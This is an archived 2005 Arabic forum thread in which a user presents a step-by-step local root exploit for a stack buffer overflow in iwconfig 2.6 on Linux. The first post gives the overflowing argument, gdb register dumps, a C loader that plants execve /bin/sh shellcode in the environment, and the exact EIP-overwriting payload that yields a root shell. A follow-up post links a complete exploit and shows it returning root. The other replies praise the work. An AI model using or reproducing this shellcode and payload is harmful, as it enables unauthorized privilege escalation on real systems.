الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

iwconfig 2.6 BOF

مغلق
بدأه Qnix في 14 سبتمبر 2005 · 5 رد · 1,587 مشاهدة · في لغة Assembly لأنظمة 16, 32, 64 بت
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

بسم الله الرحمن الرحيم ...

اليوم سوف اقوم بطرح درس وطيرقه عمل exploit لبرنامج مصاب على نظام Linux

البرنامج المصاب هو iwconfig الاصدار رقم 2.6 ... بسم الله نبدء .

برنامج iwconfig هو برنامج لتنظيم الwireless على Linux ...

الان لنشغل البرنامج

root@qnix:~# iwconfig --help
Usage: iwconfig interface [essid {NN|on|off}]
                          [nwid {NN|on|off}]
                          [mode {managed|ad-hoc|...}
                          [freq N.NNNN[k|M|G]]
                          [channel N]
                          [sens N]
                          [nick N]
                          [rate {N|auto|fixed}]
                          [rts {N|auto|fixed|off}]
                          [frag {N|auto|fixed|off}]
                          [enc {NNNN-NNNN|off}]
                          [power {period N|timeout N}]
                          [txpower N {mW|dBm}]
                          [commit]

كما ترون البرنامج يعمل ويشرح لي بعض الاوامر المستعمله فمصلا لو قمت بادخال

iwconfig eth1 سوف اقوم ببدء التعديل على هاذا ال wireless device واضافه الخواصه له

وما الى ذالك فلنحاول بأدخال قيمه اكبر من ال eth1 ...

root@qnix:~# iwconfig `perl -e 'print "A"x100'`
Segmentation fault (core dumped)

حدث خطء وتم اغلاق البرنامج واعطاني ملف core فيه معلومات عن الخطء لنحاول البحث عن بعض

الاسرار فيه ببرنامج gdb

Gnu Debugger .

root@qnix:~# gdb -c core /sbin/iwconfig
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `iwconfig AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libm.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x41414141 in ?? ()

كما ترون يقول الملف انه يوجد خطء في عنوان 0x41414141 !!!

لاحظو في البدايه قمنا بكتابه حرف ال A ب 100 مره .. وحدث الخطء وقام بادخال قيمه ال A على مسجلات اخرى وساحات اخرى

لايجب الدخول اليها واستخدامها بداله محدده ... فلنعرض بعض المعلومات ..

(gdb) info reg
eax            0xffffffed       -19
ecx            0x9      9
edx            0x0      0
ebx            0x41414141       1094795585
esp            0xbffff150       0xbffff150
ebp            0x41414141       0x41414141
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0x41414141       0x41414141
eflags         0x210297 2163351
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0xc010007b       -1072693125
fs             0x0      0
gs             0x0      0

كما ترون قام بلكتابه على ال eip,edi,esi,ebp بقيمه AAAAAAAA وللمعلومه A = 41 في

hex ....

الان لنحاول ان نقوم بجعل البرنامج يقفز بدل القفز للعنوان 0x41414141 الى عنوان shellcode

كود برنامج يقوم بعمليه محدده وال shellcode الذي سوف نقوم بأستعماله سوف يقوم باعطائني

او بلأصح ادخالنا الى /bin/sh ومن هنا نستطيع التحكم في النظام بلكامل ....

فلنحاول بعض المحاولات الان سوف اقوم بأستعمال برنامج صغير يقوم بأدخال ال shellcode

لل environment

ال environment هو مكان تسجل فيه المعلومات التي تحتاجها ولتسعل بعض العميات ...الخ

#include <stdio.h>
#define bash "/bin/bash"


char shellcode[] =
                  "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
                  "\x73\x68\x68\x2f\x62\x69\x6e\x89"
                  "\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
                  "\x0b\x51\x52\x55\x89\xe5\x0f\x34"
                  "\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
                  "\x55\x89\xe5\x0f\x34";
int main()
{

  char bish[512];

  memset(bish,0x90,512);
  memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode));
  memcpy(bish,"BISH=",5);
  putenv(bish);
  fprintf(stdout, "BISH IS LOADED !!! :D\n");

  execl(bash, bash,'\0'); 
return(0);
}

كما ترون هاذا هو الكود وعمله بسيط جدا يقوم بنقل ال shellcode الى enviroment

الان نقوم بعمليه compile ومن ثم تشغيله

root@qnix:~/iwconfig# gcc -o bish bish.c;./bish
Bish loaded into enviroment

تم التشغيل والان نقوم باخذ عنوان ال BISH لكي نقوم بكتابته في المتغير eip فسيقفز البرنامج

الى ال BISH ويقوم بتشغيل ال shellcode بأذن الله ...

root@qnix:~/iwconfig# getenv BISH
BISH is located at 0xbffffce1

كما ترون عنوان ال BISH هو 0xbffffce1

الان لنقم بلتجربه ...

root@qnix:~/iwconfig# iwconfig `perl -e 'print "A"x92 . "\xe1\xfc\xff\xbf"'`
sh-3.00#

تمت العمليه وتم الدخول الى ال /bin/sh واستطيع من هنا عمل اي شئ بلنظام .... لان صلاحيه ال iwconfig هي لل root ويستعمل setuid() .....

الان كل الي قمت به هو اني طبعت 92 حرف A في البرنامج فقام بلخروج عن المساحه المحدده لانه يستعمل الداله strcpy() وليس strncpy()

والان كل ال 8 bits التي سوف تاتي بعد ال 92 سوف تكتب على ال eip لذلك قمت بكتابه العنوان

0xbffffce1

طريقه ادخال هاذا العنوان ليست بلشكل هاذا يجب عليك حذف 0x

bffffce1

وبعدها افصل كل 2 bits بجنبهم وقم باضافه x واقلبهم ويصير العنوان بهاذا الشكل

0xe1 0xfc 0xff 0xbf

ان وجد اي خطء في الموضوع او اي معلومات خاطءه ارجو المعذره وارجو التصحيح ...

تحياتي والى اللقاء ....

تم تعديل هذه المشاركة بواسطة Qnix في 14 سبتمبر 2005 في 17:18

#2

قمت بكتابه هاذا ال exploit يقوم بكل العمل بدل منك ...

http://psybnc3.blackhats.tc/~qnix/iwconfig-exploit.c

or

http://www.milw0rm.com/id.php?id=1215

وهاذا هو ال shellcode المستعمل في الموضوع

http://www.milw0rm.com/id.php?id=1169

E.x

qnix@qnix:~$ gcc -o iwconfig-exploit iwconfig-exploit.c
qnix@qnix:~$ ./iwconfig-exploit /sbin/iwconfig

*********************************************
   iwconfig Version 26 Localroot Exploit
    Coded by Qnix[at]bsdmail[dot]org
*********************************************

[~] S-P.ESP     : 0xbffff298
[~] O-F.ESP     : 0x0
[~] Return Addr : 0xbfffffbf

sh-3.00# whoami
root

تم تعديل هذه المشاركة بواسطة Qnix في 14 سبتمبر 2005 في 19:26

#3

جزاك الله كل الخير وان كنت ساقتصر على قراءة المفاهيم والسبل (لان النظام Linux).. :)

يبدو ان خبراءنا كانوا متفقين على توقيت للعودة :D

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#4

إن شاء الله الي نقدر عليه راح نسويه ..

#5

جزاك الله خيرا

المزيد :D

d4baa0.gif
#6

إكتشاف موفق أخي Qnix

والظاهر ان اسمك بدأ يشتهر في مواقع السيكيورتي ,,,

-

وبالفعل لازم ننوع الثغرات في المنتدى -- ومانركز على نظام واحد !

وبالتوفيق

http://www.jaascois.com

*************************************************

مجموعة مواضيع - إحتراف البرمجة -

ّ~~~~~~~~~~~~~~~~~~~~~~

البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة

/index.php?showtopic=45002

آخر المواضيع :

+- تحليل جرائم الكمبيوتر -+

أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات

ثغرة SMS لأجهزة الجوال Siemens 3568i !

أخطاء وثغرات البرامج العربية !!!

سلسلة مواضيع - أمن وحماية مواقع الويب -

E البرمجة المتقدمة X للملفات التنفيذية E

سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة

**************************************************

<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>

**************************************************

هذا الموضوع مغلق.

مواضيع مشابهة